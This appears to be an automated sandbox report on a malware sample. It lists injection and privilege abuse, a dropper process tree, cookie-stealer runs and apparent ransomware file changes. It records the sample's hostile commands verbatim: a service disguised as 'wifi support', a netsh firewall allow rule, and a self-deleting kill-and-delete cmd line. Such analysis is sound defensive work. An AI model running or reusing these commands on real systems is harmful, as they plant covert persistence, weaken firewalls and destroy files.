1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703085c000000010000000400000000080000200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 1075474_ah_hot_iconçè_)))_.exe -
Runs ping.exe 1 TTPs 5 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEpid process 6000 PING.EXE 4312 PING.EXE 3032 PING.EXE 5800 PING.EXE 1128 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
toolspab2 (13).exepid process 928 toolspab2 (13).exe 928 toolspab2 (13).exe 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3048 -
Suspicious behavior: MapViewOfSection 64 IoCs
Processes:
toolspab2 (13).exe18E8.exeexplorer.exeexplorer.exeexplorer.exetoolspab1.exeMicrosoftEdgeCP.exejtcuwffpid process 928 toolspab2 (13).exe 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3048 3672 18E8.exe 3048 3048 3048 3048 3956 explorer.exe 3956 explorer.exe 3576 explorer.exe 3576 explorer.exe 3816 explorer.exe 3816 explorer.exe 3956 explorer.exe 3956 explorer.exe 3576 explorer.exe 3576 explorer.exe 3816 explorer.exe 3816 explorer.exe 3816 explorer.exe 3816 explorer.exe 2144 toolspab1.exe 3576 explorer.exe 3576 explorer.exe 3956 explorer.exe 3956 explorer.exe 4556 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe 3816 explorer.exe 3816 explorer.exe 3576 explorer.exe 3576 explorer.exe 3956 explorer.exe 3956 explorer.exe 4556 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe 3816 explorer.exe 3816 explorer.exe 3576 explorer.exe 3576 explorer.exe 3956 explorer.exe 3956 explorer.exe 3576 explorer.exe 3576 explorer.exe 3816 explorer.exe 3816 explorer.exe 3956 explorer.exe 3956 explorer.exe 4556 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe 4824 jtcuwff -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
8204.exe1075474_ah_hot_iconçè_)))_.exeA34C.exedescription pid process Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeManageVolumePrivilege 576 8204.exe Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeDebugPrivilege 1796 1075474_ah_hot_iconçè_)))_.exe Token: SeManageVolumePrivilege 576 8204.exe Token: SeCreateTokenPrivilege 1132 A34C.exe Token: SeAssignPrimaryTokenPrivilege 1132 A34C.exe Token: SeLockMemoryPrivilege 1132 A34C.exe Token: SeIncreaseQuotaPrivilege 1132 A34C.exe Token: SeMachineAccountPrivilege 1132 A34C.exe Token: SeTcbPrivilege 1132 A34C.exe Token: SeSecurityPrivilege 1132 A34C.exe Token: SeTakeOwnershipPrivilege 1132 A34C.exe Token: SeLoadDriverPrivilege 1132 A34C.exe Token: SeSystemProfilePrivilege 1132 A34C.exe Token: SeSystemtimePrivilege 1132 A34C.exe Token: SeProfSingleProcessPrivilege 1132 A34C.exe Token: SeIncBasePriorityPrivilege 1132 A34C.exe Token: SeCreatePagefilePrivilege 1132 A34C.exe Token: SeCreatePermanentPrivilege 1132 A34C.exe Token: SeBackupPrivilege 1132 A34C.exe Token: SeRestorePrivilege 1132 A34C.exe Token: SeShutdownPrivilege 1132 A34C.exe Token: SeDebugPrivilege 1132 A34C.exe Token: SeAuditPrivilege 1132 A34C.exe Token: SeSystemEnvironmentPrivilege 1132 A34C.exe Token: SeChangeNotifyPrivilege 1132 A34C.exe Token: SeRemoteShutdownPrivilege 1132 A34C.exe Token: SeUndockPrivilege 1132 A34C.exe Token: SeSyncAgentPrivilege 1132 A34C.exe Token: SeEnableDelegationPrivilege 1132 A34C.exe Token: SeManageVolumePrivilege 1132 A34C.exe Token: SeImpersonatePrivilege 1132 A34C.exe Token: SeCreateGlobalPrivilege 1132 A34C.exe Token: 31 1132 A34C.exe Token: 32 1132 A34C.exe Token: 33 1132 A34C.exe Token: 34 1132 A34C.exe Token: 35 1132 A34C.exe Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 Token: SeCreatePagefilePrivilege 3048 Token: SeShutdownPrivilege 3048 -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
irecord.tmppid process 2240 irecord.tmp -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exepid process 3048 4120 MicrosoftEdge.exe 4556 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
toolspab2 (13).exe8495.exe8495.tmp7263.exedescription pid process target process PID 4056 wrote to memory of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 4056 wrote to memory of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 4056 wrote to memory of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 4056 wrote to memory of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 4056 wrote to memory of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 4056 wrote to memory of 928 4056 toolspab2 (13).exe toolspab2 (13).exe PID 3048 wrote to memory of 3672 3048 18E8.exe PID 3048 wrote to memory of 3672 3048 18E8.exe PID 3048 wrote to memory of 3672 3048 18E8.exe PID 3048 wrote to memory of 4004 3048 explorer.exe PID 3048 wrote to memory of 4004 3048 explorer.exe PID 3048 wrote to memory of 4004 3048 explorer.exe PID 3048 wrote to memory of 4004 3048 explorer.exe PID 3048 wrote to memory of 2140 3048 explorer.exe PID 3048 wrote to memory of 2140 3048 explorer.exe PID 3048 wrote to memory of 2140 3048 explorer.exe PID 3048 wrote to memory of 2428 3048 explorer.exe PID 3048 wrote to memory of 2428 3048 explorer.exe PID 3048 wrote to memory of 2428 3048 explorer.exe PID 3048 wrote to memory of 2428 3048 explorer.exe PID 3048 wrote to memory of 3956 3048 explorer.exe PID 3048 wrote to memory of 3956 3048 explorer.exe PID 3048 wrote to memory of 3956 3048 explorer.exe PID 3048 wrote to memory of 2100 3048 explorer.exe PID 3048 wrote to memory of 2100 3048 explorer.exe PID 3048 wrote to memory of 2100 3048 explorer.exe PID 3048 wrote to memory of 2100 3048 explorer.exe PID 3048 wrote to memory of 3816 3048 explorer.exe PID 3048 wrote to memory of 3816 3048 explorer.exe PID 3048 wrote to memory of 3816 3048 explorer.exe PID 3048 wrote to memory of 4056 3048 explorer.exe PID 3048 wrote to memory of 4056 3048 explorer.exe PID 3048 wrote to memory of 4056 3048 explorer.exe PID 3048 wrote to memory of 4056 3048 explorer.exe PID 3048 wrote to memory of 3576 3048 explorer.exe PID 3048 wrote to memory of 3576 3048 explorer.exe PID 3048 wrote to memory of 3576 3048 explorer.exe PID 3048 wrote to memory of 2660 3048 explorer.exe PID 3048 wrote to memory of 2660 3048 explorer.exe PID 3048 wrote to memory of 2660 3048 explorer.exe PID 3048 wrote to memory of 2660 3048 explorer.exe PID 3048 wrote to memory of 3808 3048 7263.exe PID 3048 wrote to memory of 3808 3048 7263.exe PID 3048 wrote to memory of 3808 3048 7263.exe PID 3048 wrote to memory of 576 3048 8204.exe PID 3048 wrote to memory of 576 3048 8204.exe PID 3048 wrote to memory of 576 3048 8204.exe PID 3048 wrote to memory of 484 3048 8495.exe PID 3048 wrote to memory of 484 3048 8495.exe PID 3048 wrote to memory of 484 3048 8495.exe PID 484 wrote to memory of 3032 484 8495.exe 8495.tmp PID 484 wrote to memory of 3032 484 8495.exe 8495.tmp PID 484 wrote to memory of 3032 484 8495.exe 8495.tmp PID 3032 wrote to memory of 1796 3032 8495.tmp 1075474_ah_hot_iconçè_)))_.exe PID 3032 wrote to memory of 1796 3032 8495.tmp 1075474_ah_hot_iconçè_)))_.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe PID 3808 wrote to memory of 4080 3808 7263.exe 7263.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\jtcuwffC:\Users\Admin\AppData\Roaming\jtcuwff2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\aicuwffC:\Users\Admin\AppData\Roaming\aicuwff2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\aicuwffC:\Users\Admin\AppData\Roaming\aicuwff3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\jtcuwffC:\Users\Admin\AppData\Roaming\jtcuwff2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\aicuwffC:\Users\Admin\AppData\Roaming\aicuwff2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\aicuwffC:\Users\Admin\AppData\Roaming\aicuwff3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\jtcuwffC:\Users\Admin\AppData\Roaming\jtcuwff2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\aicuwffC:\Users\Admin\AppData\Roaming\aicuwff2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\aicuwffC:\Users\Admin\AppData\Roaming\aicuwff3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exeC:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b\7263.exe --Task3⤵
- Executes dropped EXE
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
C:\Users\Admin\AppData\Local\Temp\toolspab2 (13).exe"C:\Users\Admin\AppData\Local\Temp\toolspab2 (13).exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\toolspab2 (13).exe"C:\Users\Admin\AppData\Local\Temp\toolspab2 (13).exe"2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\18E8.exeC:\Users\Admin\AppData\Local\Temp\18E8.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7263.exeC:\Users\Admin\AppData\Local\Temp\7263.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7263.exeC:\Users\Admin\AppData\Local\Temp\7263.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies system certificate store
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\b7ad1122-5de5-4669-90c0-a4b343a46a5b" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\7263.exe"C:\Users\Admin\AppData\Local\Temp\7263.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7263.exe"C:\Users\Admin\AppData\Local\Temp\7263.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Modifies extensions of user files
-
C:\Users\Admin\AppData\Local\a2d66298-916d-433d-87c6-f4cec31f9906\build2.exe"C:\Users\Admin\AppData\Local\a2d66298-916d-433d-87c6-f4cec31f9906\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\a2d66298-916d-433d-87c6-f4cec31f9906\build2.exe"C:\Users\Admin\AppData\Local\a2d66298-916d-433d-87c6-f4cec31f9906\build2.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\a2d66298-916d-433d-87c6-f4cec31f9906\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\8204.exeC:\Users\Admin\AppData\Local\Temp\8204.exe1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\8495.exeC:\Users\Admin\AppData\Local\Temp\8495.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-TOPLN.tmp\8495.tmp"C:\Users\Admin\AppData\Local\Temp\is-TOPLN.tmp\8495.tmp" /SL5="$501D0,506127,422400,C:\Users\Admin\AppData\Local\Temp\8495.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-68I7T.tmp\1075474_ah_hot_iconçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-68I7T.tmp\1075474_ah_hot_iconçè_)))_.exe" /S /UID=rec73⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\XXAUHEAEUZ\irecord.exe"C:\Program Files\Google\XXAUHEAEUZ\irecord.exe" /VERYSILENT4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-FJ7BT.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-FJ7BT.tmp\irecord.tmp" /SL5="$B0054,5808768,66560,C:\Program Files\Google\XXAUHEAEUZ\irecord.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\i-record\I-Record.exe"C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\8c-6fee6-74b-688bd-579e0c84b3944\Firukumyco.exe"C:\Users\Admin\AppData\Local\Temp\8c-6fee6-74b-688bd-579e0c84b3944\Firukumyco.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\82-0ee01-857-f97b1-048bb1f0a8cb6\Fylaedopidi.exe"C:\Users\Admin\AppData\Local\Temp\82-0ee01-857-f97b1-048bb1f0a8cb6\Fylaedopidi.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zcu5md5g.e3b\GcleanerEU.exe /eufive & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pzfcj1tc.i21\installer.exe /qn CAMPAIGN="654" & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\30emjo4k.i4q\ufgaa.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\30emjo4k.i4q\ufgaa.exeC:\Users\Admin\AppData\Local\Temp\30emjo4k.i4q\ufgaa.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bvb55nnr.tks\google-game.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\bvb55nnr.tks\google-game.exeC:\Users\Admin\AppData\Local\Temp\bvb55nnr.tks\google-game.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\bvb55nnr.tks\google-game.exe"C:\Users\Admin\AppData\Local\Temp\bvb55nnr.tks\google-game.exe" -a7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jqis5zvm.iu4\GcleanerWW.exe /mixone & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mlruqehz.gfi\toolspab1.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\mlruqehz.gfi\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\mlruqehz.gfi\toolspab1.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\mlruqehz.gfi\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\mlruqehz.gfi\toolspab1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\9659.exeC:\Users\Admin\AppData\Local\Temp\9659.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\9659.exe"C:\Users\Admin\AppData\Local\Temp\9659.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\98FA.exeC:\Users\Admin\AppData\Local\Temp\98FA.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\swqtkajm\2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hcyfrbpe.exe" C:\Windows\SysWOW64\swqtkajm\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create swqtkajm binPath= "C:\Windows\SysWOW64\swqtkajm\hcyfrbpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\98FA.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description swqtkajm "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start swqtkajm2⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Users\Admin\vuubsors.exe"C:\Users\Admin\vuubsors.exe" /d"C:\Users\Admin\AppData\Local\Temp\98FA.exe"2⤵
- Executes dropped EXE
-
